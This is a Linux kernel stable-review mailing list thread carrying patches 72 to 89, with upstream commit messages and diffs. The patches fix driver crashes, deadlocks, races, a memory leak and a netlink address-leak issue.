Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 72/242 tracing: probes: error if BTF is required but unavailable
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Martin Kaiser <[email protected]>
[ Upstream commit 66c658033d842bb75f81f20aaa4a378fe47be1a1 ]
traceprobe_expand_meta_args expands probe arguments based on BTF info.
Return an error if we have arguments that need expanding but BTF is not supported.
The params variable is now unused, it can be removed.
--- kernel/trace/trace_probe.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-)
kernel/trace/trace_probe.c +1 -2
@@ -1842,7 +1842,6 @@ const char **traceprobe_expand_meta_args(int argc, const char *argv[], int *new_argc, char *buf, int bufsize, struct traceprobe_parse_context *ctx) { - const struct btf_param *params = NULL; int i, j, n, used, ret, args_idx = -1; const char **new_argv __free(kfree) = NULL;
@@ -1860,7 +1859,7 @@ const char **traceprobe_expand_meta_args(int argc, const char *argv[],if (args_idx !=-1 ) {/* $arg* requires BTF info */ trace_probe_log_err (0 ,NOSUP_BTFARG ); -return (const char **)params; +return ERR_PTR (-EOPNOTSUPP ); } *new_argc = argc;return NULL ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 73/242 scsi: libsas: Fix SMP IO deadlock during HA resume
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Xingui Yang <[email protected]>
[ Upstream commit 81e097a064b28b4a1f6ca1a8b433e659c1bd64c0 ]
smp_execute_task_sg() calls pm_runtime_get_sync() on the host before issuing an SMP command. When that command is itself issued from the HA resume path, the get_sync() deadlocks: it waits for the ongoing resume (the device is RPM_RESUMING), while the resume is blocked in sas_drain_work() waiting for that same SMP IO to complete.
The deadlock needs an expander-attached SATA disk. During sas_resume_ha() -> sas_drain_work(), DISCE_RESUME -> sas_resume_sata() -> ata_sas_port_resume() requests ATA_EH_RESET, and the hard reset for such a disk is done via SMP PHY CONTROL (sas_ata_hard_reset() -> sas_phy_reset() -> sas_smp_phy_control() -> smp_execute_task_sg()). Direct-attached SATA resets through lldd_control_phy() and SSP devices use TMFs, so neither hits this.
Replace the get_sync()/put_sync() pair with pm_runtime_get_noresume()/pm_runtime_put(). smp_execute_task_sg() only needs to hold off autosuspend while the SMP is in flight, and it must not try to resume the host: a sync resume issued from the HA resume path itself is what deadlocks, and by the time sas_resume_ha() runs, hw_init has already reinitialized the hardware, so the device is accessible without one.
The usage reference is still required. Discovery work normally runs inside an event worker's PM reference, taken at sas_notify_port_event() notify time and held until the handler has flushed the disco queue. sas_rediscover_ex_phy() however requeues DISCE_REVALIDATE_DOMAIN from within the revalidation worker itself, and flush_workqueue() does not wait for work items queued during execution, so that chained revalidation runs with no outer PM reference - without the get_noresume(), its SMP could race autosuspend.
For the BSG path, sas_smp_handler() is the only caller which may find the host autosuspended: expander SMP requests do not go through any SCSI device request queue, so nothing else in that path holds the host awake. Resume it there with pm_runtime_resume_and_get() and check the result.
--- drivers/scsi/libsas/sas_expander.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-)
drivers/scsi/libsas/sas_expander.c +12 -2
@@ -62,7 +62,11 @@ static int smp_execute_task_sg(struct domain_device *dev,to_sas_internal (dev->port->ha->shost->transportt);struct sas_ha_struct *ha = dev->port->ha; -pm_runtime_get_sync (ha->dev); +/* +* Non-blocking: a sync resume here would deadlock against +* sas_drain_work() during HA resume. +*/ +pm_runtime_get_noresume (ha->dev);mutex_lock (&dev->ex_dev.cmd_mutex);for (retry =0 ; retry <3 ; retry++) {if (test_bit (SAS_DEV_GONE , &dev->state)) {
@@ -135,7 +139,7 @@ static int smp_execute_task_sg(struct domain_device *dev, } }mutex_unlock (&dev->ex_dev.cmd_mutex); -pm_runtime_put_sync (ha->dev); +pm_runtime_put (ha->dev);BUG_ON (retry ==3 && task !=NULL );sas_free_task (task);
@@ -2162,6 +2166,11 @@ void sas_smp_handler(struct bsg_job *job, struct Scsi_Host *shost, goto out; } +/* The host may have autosuspended, resume it here. */ + ret =pm_runtime_resume_and_get (dev->port->ha->dev); +if (ret) + goto out; + ret =smp_execute_task_sg (dev, job->request_payload.sg_list, job->reply_payload.sg_list);if (ret >=0 ) {
@@ -2169,6 +2178,7 @@ void sas_smp_handler(struct bsg_job *job, struct Scsi_Host *shost, rcvlen = job->reply_payload.payload_len - ret; ret =0 ; } +pm_runtime_put (dev->port->ha->dev); out:bsg_job_done (job, ret, rcvlen);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 74/242 netlink: avoid hashing the network namespace pointer
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <[email protected]>
[ Upstream commit f88bb3606e4bd11ee035b682cddc2999e604609a ]
The netlink rhashtable key includes a raw struct net pointer and a user-controlled port ID. Both /proc/net/netlink and socket diagnostics expose the table's bucket order. By binding and rebinding chosen NETLINK_USERSOCK port IDs, an unprivileged reader can distinguish equal buckets and recover the low bits of the Jenkins hash. Its 32-bit seed and the limited set of kernel-image slides can then be searched offline to recover the address of init_net.
Use the namespace's unique, non-address net_cookie in the comparison key instead. It is assigned before the per-net initializers run and remains unchanged for the namespace's lifetime. The lookup key and object hash are still built by netlink_compare_arg_init(), keeping lookup, insertion, removal and rehashing consistent while preserving namespace separation. Neither public table walker needs to change.
Reading the socket's namespace cookie in netlink_compare() is safe under RCU, including during namespace teardown. netlink_release() removes the socket from the hash table and defers its final put with call_rcu(). cleanup_net() runs the per-net exit methods and waits for outstanding RCU callbacks with rcu_barrier() before freeing namespace storage.
Unlike ns.ns_id, net_cookie is also available and initialized during setup_net() in older stable kernels, making the change straightforward to backport to v5.15 and later.
--- net/netlink/af_netlink.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
net/netlink/af_netlink.c +3 -3
@@ -464,7 +464,7 @@ netlink_unlock_table(void)struct netlink_compare_arg { -possible_net_t pnet; +u64 net_cookie;u32 portid; };
@@ -479,14 +479,14 @@ static inline int netlink_compare(struct rhashtable_compare_arg *arg,const struct netlink_sock *nlk = ptr;return nlk->portid != x->portid || - !net_eq (sock_net (&nlk->sk),read_pnet (&x->pnet)); +sock_net (&nlk->sk)->net_cookie != x->net_cookie; }static void netlink_compare_arg_init (struct netlink_compare_arg *arg,struct net *net,u32 portid) {memset (arg,0 ,sizeof (*arg)); -write_pnet (&arg->pnet, net); + arg->net_cookie = net->net_cookie; arg->portid = portid; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 75/242 net: hisilicon: hisi_femac: Move setting of netops to fix crash
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <[email protected]>
[ Upstream commit 444889dfa27b54b39026e962464b1f8f9093e1ea ]
hisi_femac_drv_probe() connects the PHY before dev->netdev_ops is assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads dev->netdev_ops through netdev_need_ops_lock() since the commit in question, so probing crashes with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
phy_link_topo_add_phy from phy_attach_direct+0xec/0x37c of_phy_get_and_connect from hisi_femac_drv_probe+0x1f4/0x558
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
Assign netdev_ops before the PHY attach, as was done for emac in commit 7c9f391ec89c ("net: emac: move setting of netops to fix crash").
--- drivers/net/ethernet/hisilicon/hisi_femac.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/net/ethernet/hisilicon/hisi_femac.c +2 -1
@@ -830,6 +830,8 @@ static int hisi_femac_drv_probe(struct platform_device *pdev)hisi_femac_phy_reset (priv); } + ndev->netdev_ops = &hisi_femac_netdev_ops; + phy =of_phy_get_and_connect (ndev, node, hisi_femac_adjust_link);if (!phy) {dev_err (dev,"connect to PHY failed!\n" );
@@ -850,7 +852,6 @@ static int hisi_femac_drv_probe(struct platform_device *pdev) ndev->watchdog_timeo =6 *HZ ; ndev->priv_flags |=IFF_UNICAST_FLT ; - ndev->netdev_ops = &hisi_femac_netdev_ops; ndev->ethtool_ops = &hisi_femac_ethtools_ops;netif_napi_add_weight (ndev, &priv->napi, hisi_femac_poll,FEMAC_POLL_WEIGHT );
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 76/242 net: hisilicon: hip04_eth: Move setting of netops to fix crash
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <[email protected]>
[ Upstream commit 0d9342701f14ec0a9465772b7cd5d515c1ecd818 ]
hip04_mac_probe() calls of_phy_connect() before ndev->netdev_ops is assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads dev->netdev_ops through netdev_need_ops_lock() since the commit in question, so probing crashes with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit 7c9f391ec89c ("net: emac: move setting of netops to fix crash").
--- drivers/net/ethernet/hisilicon/hip04_eth.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/net/ethernet/hisilicon/hip04_eth.c +2 -1
@@ -976,6 +976,8 @@ static int hip04_mac_probe(struct platform_device *pdev) goto init_fail; } + ndev->netdev_ops = &hip04_netdev_ops; + priv->phy_node =of_parse_phandle (node,"phy-handle" ,0 );if (priv->phy_node) { priv->phy = of_phy_connect(ndev, priv->phy_node,
@@ -989,7 +991,6 @@ static int hip04_mac_probe(struct platform_device *pdev)INIT_WORK (&priv->tx_timeout_task, hip04_tx_timeout_task); - ndev->netdev_ops = &hip04_netdev_ops; ndev->ethtool_ops = &hip04_ethtool_ops; ndev->watchdog_timeo =TX_TIMEOUT ; ndev->priv_flags |=IFF_UNICAST_FLT ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 77/242 net: ethernet: actions: Move setting of netops to fix crash
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <[email protected]>
[ Upstream commit c2c4824319850c87e77d26aeb8f860bc310a64d7 ]
owl_emac_probe() calls owl_emac_phy_init(), which connects the PHY, before netdev->netdev_ops is assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads dev->netdev_ops through netdev_need_ops_lock() since the commit in question, so probing crashes with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit 7c9f391ec89c ("net: emac: move setting of netops to fix crash").
--- drivers/net/ethernet/actions/owl-emac.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/net/ethernet/actions/owl-emac.c +2 -1
@@ -1552,6 +1552,8 @@ static int owl_emac_probe(struct platform_device *pdev)return ret; } + netdev->netdev_ops = &owl_emac_netdev_ops; + ret =owl_emac_phy_init (netdev);if (ret) {dev_err (dev,"failed to initialize PHY\n" );
@@ -1563,7 +1565,6 @@ static int owl_emac_probe(struct platform_device *pdev) netdev->min_mtu =OWL_EMAC_MTU_MIN ; netdev->max_mtu =OWL_EMAC_MTU_MAX ; netdev->watchdog_timeo =OWL_EMAC_TX_TIMEOUT ; - netdev->netdev_ops = &owl_emac_netdev_ops; netdev->ethtool_ops = &owl_emac_ethtool_ops;netif_napi_add (netdev, &priv->napi, owl_emac_poll);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 78/242 net: mv643xx: move setting of netops to fix crash
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <[email protected]>
[ Upstream commit a3eef3d2cca032d8768b5eb07aab0f46b79bfd8a ]
mv643xx_eth_probe() connects the PHY before dev->netdev_ops is assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads dev->netdev_ops through netdev_need_ops_lock() since the commit in question, so probing crashes with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit 7c9f391ec89c ("net: emac: move setting of netops to fix crash").
--- drivers/net/ethernet/marvell/mv643xx_eth.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/net/ethernet/marvell/mv643xx_eth.c +2 -2
@@ -3171,6 +3171,8 @@ static int mv643xx_eth_probe(struct platform_device *pdev)netif_set_real_num_tx_queues (dev, mp->txq_count);netif_set_real_num_rx_queues (dev, mp->rxq_count); + dev->netdev_ops = &mv643xx_eth_netdev_ops; + err =0 ;if (pd->phy_node) { phydev = of_phy_connect(mp->dev, pd->phy_node,
@@ -3221,8 +3223,6 @@ static int mv643xx_eth_probe(struct platform_device *pdev) } dev->irq = irq; - dev->netdev_ops = &mv643xx_eth_netdev_ops; - dev->watchdog_timeo =2 *HZ ; dev->base_addr =0 ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 79/242 net: au1000: move setting of netops to fix crash
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <[email protected]>
[ Upstream commit beabbafdd0f6779813a7656baa1b412b19bda911 ]
au1000_probe() calls au1000_mii_probe(), which connects the PHY, before dev->netdev_ops is assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads dev->netdev_ops through netdev_need_ops_lock() since the commit in question, so probing crashes with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit 7c9f391ec89c ("net: emac: move setting of netops to fix crash").
--- drivers/net/ethernet/amd/au1000_eth.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/net/ethernet/amd/au1000_eth.c +2 -1
@@ -1225,6 +1225,8 @@ static int au1000_probe(struct platform_device *pdev) goto err_mdiobus_reg; } + dev->netdev_ops = &au1000_netdev_ops; + err =au1000_mii_probe (dev);if (err !=0 ) goto err_out;
@@ -1263,7 +1265,6 @@ static int au1000_probe(struct platform_device *pdev) dev->base_addr = base->start; dev->irq = irq; - dev->netdev_ops = &au1000_netdev_ops; dev->ethtool_ops = &au1000_ethtool_ops; dev->watchdog_timeo =ETH_TX_TIMEOUT ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 80/242 net: ethoc: move setting of netops to fix crash
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <[email protected]>
[ Upstream commit c9f8ce62a5faa73515ff5457716bd7306d20fd93 ]
ethoc_probe() calls ethoc_mdio_probe(), which connects the PHY, before netdev->netdev_ops is assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads dev->netdev_ops through netdev_need_ops_lock() since the commit in question, so probing crashes with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit 7c9f391ec89c ("net: emac: move setting of netops to fix crash").
--- drivers/net/ethernet/ethoc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/net/ethernet/ethoc.c +2 -1
@@ -1211,6 +1211,8 @@ static int ethoc_probe(struct platform_device *pdev) goto free3; } + netdev->netdev_ops = ðoc_netdev_ops; + ret =ethoc_mdio_probe (netdev);if (ret) {dev_err (&netdev->dev,"failed to probe MDIO bus\n" );
@@ -1218,7 +1220,6 @@ static int ethoc_probe(struct platform_device *pdev) }/* setup the net_device structure */ - netdev->netdev_ops = ðoc_netdev_ops; netdev->watchdog_timeo =ETHOC_TIMEOUT ; netdev->features |=0 ; netdev->ethtool_ops = ðoc_ethtool_ops;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 82/242 net: ti: icssm-prueth: Move setting of netops to fix crash
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <[email protected]>
[ Upstream commit 955bb7cf680d8699ce94c73539af882840a9be43 ]
icssm_prueth_netdev_init() calls of_phy_get_and_connect() before ndev->netdev_ops is assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads dev->netdev_ops through netdev_need_ops_lock() since the commit in question, so probing crashes with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit 7c9f391ec89c ("net: emac: move setting of netops to fix crash").
--- drivers/net/ethernet/ti/icssm/icssm_prueth.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/net/ethernet/ti/icssm/icssm_prueth.c +2 -1
@@ -1563,6 +1563,8 @@ static int icssm_prueth_netdev_init(struct prueth *prueth, }ether_addr_copy (emac->mac_addr, ndev->dev_addr); + ndev->netdev_ops = &emac_netdev_ops; +/* connect PHY */ emac->phydev =of_phy_get_and_connect (ndev, eth_node, icssm_emac_adjust_link);
@@ -1590,7 +1592,6 @@ static int icssm_prueth_netdev_init(struct prueth *prueth, } ndev->dev.of_node = eth_node; - ndev->netdev_ops = &emac_netdev_ops;netif_napi_add (ndev, &emac->napi, icssm_emac_napi_poll);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 83/242 net: bcmgenet: unshare the skb before writing the control block
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nicolai Buchwitz <[email protected]>
[ Upstream commit 89771ce4f8f67dcffae561b2ccac95c0f6e3aa01 ]
bcmgenet stores first_cb, last_cb and bytes_sent in the skb control block and reads them back on completion to free the skb and credit BQL. ether_setup() leaves IFF_TX_SKB_SHARING set, so the stack can resubmit a shared skb that is still in the ring. The next transmit overwrites last_cb, so the earlier slots complete without crediting their bytes and BQL stalls the queue until the watchdog resets it.
Unshare the skb before writing the control block.
Reproduce with pktgen in clone_skb mode, which hands the driver the same skb while earlier copies are still in the ring:
modprobe pktgen
pg=/proc/net/pktgen
echo "add_device eth0" > $pg/kpktgend_0
echo "dst_mac AA:BB:CC:DD:EE:FF" > $pg/eth0
echo "dst 192.0.2.1" > $pg/eth0
echo "clone_skb 8" > $pg/eth0
echo "count 0" > $pg/eth0
echo start > $pg/pgctrl &
sleep 5
echo stop > $pg/pgctrl
wait
cat /sys/class/net/eth0/queues/tx-0/byte_queue_limits/inflight
inflight stays nonzero on the now idle queue. clone_skb 0 leaves it at zero.
--- drivers/net/ethernet/broadcom/genet/bcmgenet.c | 10 ++++++++++ 1 file changed, 10 insertions(+)
drivers/net/ethernet/broadcom/genet/bcmgenet.c +10 -0
@@ -2153,6 +2153,16 @@ static netdev_tx_t bcmgenet_xmit(struct sk_buff *skb, struct net_device *dev) goto out; } +/* We store Tx state in the control block, so the skb must not be +* shared, but ether_setup() leaves IFF_TX_SKB_SHARING set. +*/ + skb =skb_share_check (skb,GFP_ATOMIC ); +if (!skb) { +BCMGENET_STATS64_INC ((&ring->stats64), dropped); + ret =NETDEV_TX_OK ; + goto out; + } +/* Retain how many bytes will be sent on the wire, without TSB inserted * by transmit checksum offload */
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 84/242 calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Joas Antonio dos Santos <[email protected]>
[ Upstream commit 8070ed578b6b9134e045627fb745c887a806d46e ]
calipso_skbuff_setattr() adjusts payload_len by the length of the option it inserts or resizes:
payload = ntohs(ip6_hdr->payload_len); ip6_hdr->payload_len = htons(payload + len_delta);
GRO can build BIG TCP packets larger than IPV6_MAXPLEN, and stores payload_len == 0 for them; ipv6_payload_len() then falls back to skb->len. For such a packet forwarded to a destination mapped to CALIPSO, the code above writes len_delta (or 65536 + len_delta when shrinking) into payload_len, and ipv6_payload_len() no longer falls back to skb->len. nf_tables, conntrack and sch_cake rely on it.
The same arithmetic also wraps when a packet grows past IPV6_MAXPLEN, and a BIG TCP packet that shrinks below IPV6_MAXPLEN should get its real length back.
Set payload_len from the skb length with ipv6_set_payload_len(), which stores 0 above IPV6_MAXPLEN and the real length otherwise, as ipv6_gro_complete() does. The network header was just reset to skb->data, so skb->len - sizeof(*ip6_hdr) is the payload length.
Tested on one kernel (arm64, QEMU) with SELinux permissive, a minimal mdp-generated policy (network_peer_controls=1), "netlabelctl calipso add pass doi:16" and a NetLabel mapping of fd00:2::/64 to CALIPSO DOI 16. calipso_skbuff_setattr() was called through netlbl_skbuff_setattr() from a test-only debugfs hook (not part of this patch) adding a level-only label; payload_len after the call:
case before fix after fix real length
1000, unlabeled 1016 1016 1016
70000 GSO, payload_len 0 16 0 70016 65530 GSO, grows past MAXPLEN 10 0 65546
65540 GSO with a 24 byte hop
header, shrinks below MAXPLEN 65528 65532 65532
1000 with a 24 byte hop header 992 992 992
(0 means ipv6_payload_len() returns the real length.) On the forward path, with a client injecting unlabeled UDP through a router to a server, the router adds the CALIPSO option and the server delivers all datagrams (Udp6InDatagrams 5, Ip6InTruncatedPkts 0) with this patch.
--- net/ipv6/calipso.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
net/ipv6/calipso.c +3 -3
@@ -1318,7 +1318,7 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,struct ipv6hdr *ip6_hdr;struct ipv6_opt_hdr *hop;unsigned char buf[CALIPSO_MAX_BUFFER ]; -int len_delta, new_end, pad, payload; +int len_delta, new_end, pad;unsigned int start, end; ip6_hdr =ipv6_hdr (skb);
@@ -1357,8 +1357,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb, sizeof(*ip6_hdr) + start);skb_reset_network_header (skb); ip6_hdr =ipv6_hdr (skb); - payload =ntohs (ip6_hdr->payload_len); - ip6_hdr->payload_len =htons (payload + len_delta); +/* 0 above IPV6_MAXPLEN (BIG TCP), the real length otherwise */ +ipv6_set_payload_len (ip6_hdr, skb->len -sizeof (*ip6_hdr)); } hop = (struct ipv6_opt_hdr *)(ip6_hdr +1 );
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 85/242 gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kent Gibson <[email protected]>
[ Upstream commit c28846ca1ac6134881114d272314623c8433e372 ]
A drive-by review by Sashiko reports that, after a failed call to gpiochip_set_multiple(), gpiod_set_array_value() returns abruptly, bypassing the freeing of possibly alloced bitmaps, potentially leaking memory. It is an unlikely error path, but is possible.
Defer the return code check until after the bitmap_free() block.
--- drivers/gpio/gpiolib.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-)
drivers/gpio/gpiolib.c +5 -4
@@ -3954,16 +3954,17 @@ int gpiod_set_array_value_complex(bool raw, bool can_sleep, }while ((i < array_size) &&gpio_device_chip_cmp (desc_array[i]->gdev, guard.gc));/* push collected bits to outputs */ -if (count !=0 ) { + ret =0 ; +if (count !=0 ) ret =gpiochip_set_multiple (guard.gc, mask, bits); -if (ret) -return ret; - }if (mask != fastpath_mask)bitmap_free (mask);if (bits != fastpath_bits)bitmap_free (bits); + +if (ret) +return ret; }return 0 ; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 86/242 gpio: mxc: fix race between chained IRQ handler install and probe completion
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <[email protected]>
[ Upstream commit 38d44f78f041ffe60c8e2443b99434a199e7541d ]
mxc_update_irq_chained_handler() is called before the IRQ domain, the generic IRQ chip, and the port list entry are set up. If an interrupt arrives in that window:
- mx3_gpio_irq_handler() calls generic_handle_domain_irq() with port->domain still NULL.
- mx2_gpio_irq_handler() walks mxc_gpio_ports, but the port has not been added to the list yet.
Additionally, if any of the subsequent probe steps (gpio_generic_chip_init(), devm_gpiochip_add_data(), irq_domain_create_legacy(), or mxc_gpio_init_gc()) fail, the error paths never unregister the chained handler, leaving a dangling handler that points at freed memory.
Move the handler installation after all its dependencies are ready and after list_add_tail(), so the handler is never live while the data structures it touches are incomplete, and is never installed if probe fails.
--- drivers/gpio/gpio-mxc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/gpio/gpio-mxc.c +2 -2
@@ -474,8 +474,6 @@ static int mxc_gpio_probe(struct platform_device *pdev) }else port->mx_irq_handler = mx3_gpio_irq_handler; -mxc_update_irq_chained_handler (port, true); - config.dev = &pdev->dev; config.sz =4 ; config.dat = port->base +GPIO_PSR ;
@@ -525,6 +523,8 @@ static int mxc_gpio_probe(struct platform_device *pdev)list_add_tail (&port->node, &mxc_gpio_ports); +mxc_update_irq_chained_handler (port, true); +platform_set_drvdata (pdev, port);pm_runtime_put_autosuspend (&pdev->dev);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 87/242 gpio: mxc: fix both_edges bit operations
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <[email protected]>
[ Upstream commit b7719c575dec69146f6d537fd616b27083c0cf45 ]
gpio_set_irq_type() can be called concurrently for different pins on the same port. The IRQ core serializes per irq descriptor, but different pins have different descriptors, so on SMP systems two concurrent gpio_set_irq_type() calls for pins on the same port run without mutual exclusion.
The read-modify-write of port->both_edges is performed outside the port-wide scoped_guard(gpio_generic_lock_irqsave) section, so concurrent updates for different pins can overwrite each other, causing missed interrupts or stuck IRQ lines on dual-edge triggered pins.
The original uniprocessor MXC SoCs were not affected; the race became reachable on multi-core i.MX7 and i.MX8 SoCs that reuse this driver.
Convert both_edges from u32 to unsigned long and use set_bit(), clear_bit(), and test_bit() to make the modifications atomic.
--- drivers/gpio/gpio-mxc.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-)
drivers/gpio/gpio-mxc.c +5 -4
@@ -7,6 +7,7 @@// Authors: Daniel Mack, Juergen Beisert. // Copyright (C) 2004-2010 Freescale Semiconductor, Inc. All Rights Reserved. +#include <linux/bitops.h> #include <linux/cleanup.h> #include <linux/clk.h> #include <linux/err.h>
@@ -68,7 +69,7 @@ struct mxc_gpio_port {struct irq_domain *domain;struct gpio_generic_chip gen_gc;struct device *dev; -u32 both_edges; +unsigned long both_edges;struct mxc_gpio_reg_saved gpio_saved_reg;bool power_off;u32 wakeup_pads;
@@ -168,7 +169,7 @@ static int gpio_set_irq_type(struct irq_data *d, u32 type)int edge;void __iomem *reg = port->base; - port->both_edges &= ~(1 << gpio_idx); +clear_bit (gpio_idx, &port->both_edges);switch (type) {case IRQ_TYPE_EDGE_RISING : edge =GPIO_INT_RISE_EDGE ;
@@ -188,7 +189,7 @@ static int gpio_set_irq_type(struct irq_data *d, u32 type) edge =GPIO_INT_HIGH_LEV ;pr_debug ("mxc: set GPIO %d to high trigger\n" , gpio_idx); } - port->both_edges |=1 << gpio_idx; +set_bit (gpio_idx, &port->both_edges); }break ;case IRQ_TYPE_LEVEL_LOW :
@@ -259,7 +260,7 @@ static void mxc_gpio_irq_handler(struct mxc_gpio_port *port, u32 irq_stat)while (irq_stat !=0 ) {int irqoffset =fls (irq_stat) -1 ; -if (port->both_edges & (1 << irqoffset)) +if (test_bit (irqoffset, &port->both_edges))mxc_flip_edge (port, irqoffset);generic_handle_domain_irq (port->domain, irqoffset);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 88/242 gpio: mxc: fix wakeup_pads bit operations
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <[email protected]>
[ Upstream commit 170aeff46fb54f41545c85a72aec525aebc79d44 ]
gpio_set_wake_irq() can be called concurrently for different pins on the same port. The writer-vs-writer race is the concern: two concurrent gpio_set_wake_irq() calls for different pins on the same port both do a non-atomic read-modify-write on the same wakeup_pads word. The old |= and &= compile to separate load/modify/store instructions that can interleave, losing one CPU's update.
assign_bit() uses an atomic RMW instruction, so concurrent writers to different bits in the same word are safe.
The reader side (for_each_set_bit in noirq_suspend, wakeup_pads > 0) runs in noirq context where no concurrent writer can execute, so reader atomicity is not needed.
wakeup_pads is a u32, while assign_bit() operates on unsigned long pointers. On 64-bit platforms, this causes an 8-byte read-modify-write on a 4-byte field, corrupting the adjacent is_pad_wakeup. So change wakeup_pads to unsigned long and reorder to avoid wasting words.
And fix the enable/disable path unconditionally sets/clears the wakeup_pads bit even when enable_irq_wake()/disable_irq_wake() fails. Only update the bit on success.
--- drivers/gpio/gpio-mxc.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-)
drivers/gpio/gpio-mxc.c +6 -4
@@ -72,8 +72,8 @@ struct mxc_gpio_port {unsigned long both_edges;struct mxc_gpio_reg_saved gpio_saved_reg;bool power_off; -u32 wakeup_pads;bool is_pad_wakeup; +unsigned long wakeup_pads;u32 pad_type[32 ];const struct mxc_gpio_hwdata *hwdata; };
@@ -331,16 +331,18 @@ static int gpio_set_wake_irq(struct irq_data *d, u32 enable) ret =enable_irq_wake (port->irq_high); else ret =enable_irq_wake (port->irq); - port->wakeup_pads |=BIT (gpio_idx); }else {if (port->irq_high && (gpio_idx >=16 )) ret =disable_irq_wake (port->irq_high);else ret =disable_irq_wake (port->irq); - port->wakeup_pads &= ~BIT (gpio_idx); } +if (ret) +return ret; -return ret; +assign_bit (gpio_idx, &port->wakeup_pads, enable); + +return 0 ; }static int mxc_gpio_init_gc (struct mxc_gpio_port *port,int irq_base)
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 89/242 gpio: mxc: fix race between gpiochip registration and IRQ domain setup
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <[email protected]>
[ Upstream commit 205cccd06e545694754e1bf8d626ea96e742cd8a ]
devm_gpiochip_add_data() makes the GPIO chip visible to consumers immediately. Since the chip sets .to_irq = mxc_gpio_to_irq, which calls irq_find_mapping(port->domain, offset), any to_irq() call between gpiochip registration and IRQ domain creation will operate on a NULL domain.
